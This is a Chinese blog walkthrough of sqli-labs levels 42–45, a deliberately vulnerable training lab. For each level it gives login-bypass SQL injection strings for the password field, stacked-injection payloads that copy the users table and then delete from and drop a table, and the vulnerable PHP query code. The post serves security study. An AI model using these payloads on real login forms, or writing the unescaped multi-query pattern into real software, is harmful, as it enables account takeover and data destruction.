sqli-labs 通关指南:Less 42 ~ 45

Less 42 ~ 45 是使用 POST 提交参数的登录界面,username 字段进行了参数过滤,但是 password 字段没有。此处可以在 password 字段使用万能密码直接夺取用户,也可以在该字段处使用堆叠注入。

Less 42#

判断注入类型#

打开网页看到登录页面,该页面和 Less 24 的二次注入的页面相似。在用户名使用万能密码测试,全部都登录失败。

Copy Highlighter-hljs
1 OR 1 = 1# a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#


在密码字段使用万能密码测试,使用单引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

Copy Highlighter-hljs
a' OR 1 = 1#


堆叠注入#

可以在已知某个用户的用户名的条件下使用万能密码夺取用户,也可以使用二次注入进行攻击。由于密码参数没有进行防御,可以在该字段测试堆叠注入。使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

Copy Highlighter-hljs
a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;# a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;# a' OR 1 = 1;DELETE FROM WhiteMoon;# a' OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句#

username 字段使用 mysqli_real_escape_string() 函数进行转义,而 password 字段没有任何防御措施。

Copy Highlighter-hljs
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; if (@mysqli_multi_query($con1, $sql)) { /* store first result set */ if($result = @mysqli_store_result($con1)) { if($row = @mysqli_fetch_row($result)) { if ($row[1]) { return $row[1]; } else { return 0; } } } else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; } } else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; }

Less 43#

判断注入类型#

在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

Copy Highlighter-hljs
a' OR 1 = 1# a') OR 1 = 1#


堆叠注入#

使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

Copy Highlighter-hljs
a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;# a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;# a') OR 1 = 1;DELETE FROM WhiteMoon;# a') OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句#

Copy Highlighter-hljs
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

Less 44#

判断注入类型#

在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

Copy Highlighter-hljs
a' OR 1 = 1#


堆叠注入#

和 Less 42 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

Copy Highlighter-hljs
a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;# a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;# a' OR 1 = 1;DELETE FROM WhiteMoon;# a' OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句#

Copy Highlighter-hljs
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; // Check connection if (mysqli_connect_errno($con1)) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: "); } /* execute multi query */ $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; if (@mysqli_multi_query($con1, $sql)) { /* store first result set */ if($result = @mysqli_store_result($con1)) { if($row = @mysqli_fetch_row($result)) { if ($row[1]) { return $row[1]; } else { return 0; } } } }

Less 45#

判断注入类型#

在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

Copy Highlighter-hljs
a' OR 1 = 1# a') OR 1 = 1#


堆叠注入#

和 Less 43 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

Copy Highlighter-hljs
a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;# a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;# a') OR 1 = 1;DELETE FROM WhiteMoon;# a') OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句#

Copy Highlighter-hljs
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
posted @   乌漆WhiteMoon  阅读(1351)  评论(2编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS